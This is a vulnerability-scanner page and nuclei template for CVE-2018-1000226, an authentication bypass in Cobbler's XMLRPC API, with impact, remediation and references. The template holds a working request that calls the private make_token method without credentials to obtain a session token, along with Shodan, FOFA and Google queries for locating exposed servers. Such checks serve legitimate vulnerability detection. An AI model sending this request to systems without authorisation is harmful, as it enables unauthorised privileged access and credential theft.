Cobbler - Authentication Bypass

criticalseverity

9.8CVSS score

12.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.

Impact

Unauthenticated attackers can bypass authentication to gain unauthorized access, leading to privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting.

Fix

Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Cobbler.

How to confirm it

Send: POST {{BaseURL}}/cobbler_api
Positive when: !contains(tolower(body), '<name>faultCode</name>') AND contains in header "Content-Type: text/xml" AND contains "<methodResponse>" AND matches /(.*[a-zA-Z0-9].+==)</string></value>/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-1000226 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-1000226

info:
  name: Cobbler - Authentication Bypass
  author: c-sh0
  severity: critical
  description: Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
  impact: |
    Unauthenticated attackers can bypass authentication to gain unauthorized access, leading to privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Cobbler.
  reference:
    - https://github.com/cobbler/cobbler/issues/1916
    - https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000226
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-1000226
    cwe-id: CWE-732
    epss-score: 0.12584
    epss-percentile: 0.96272
    cpe: cpe:2.3:a:cobblerd:cobbler:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cobblerd
    product: cobbler
    shodan-query: http.title:"cobbler web interface"
    fofa-query: title="cobbler web interface"
    google-query: intitle:"cobbler web interface"
  tags: cve2018,cve,cobbler,auth-bypass,cobblerd,vuln

http:
  - raw:
      - |
        POST {{BaseURL}}/cobbler_api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version='1.0'?>
        <methodCall>
          <methodName>_CobblerXMLRPCInterface__make_token</methodName>
          <params>
            <param>
              <value>
                <string>cobbler</string>
              </value>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(body), '<name>faultCode</name>')"

      - type: word
        part: header
        words:
          - "Content-Type: text/xml"

      - type: word
        part: body
        words:
          - "<methodResponse>"

      - type: regex
        part: body
        regex:
          - "(.*[a-zA-Z0-9].+==)</string></value>"

      - type: status
        status:
          - 200

References

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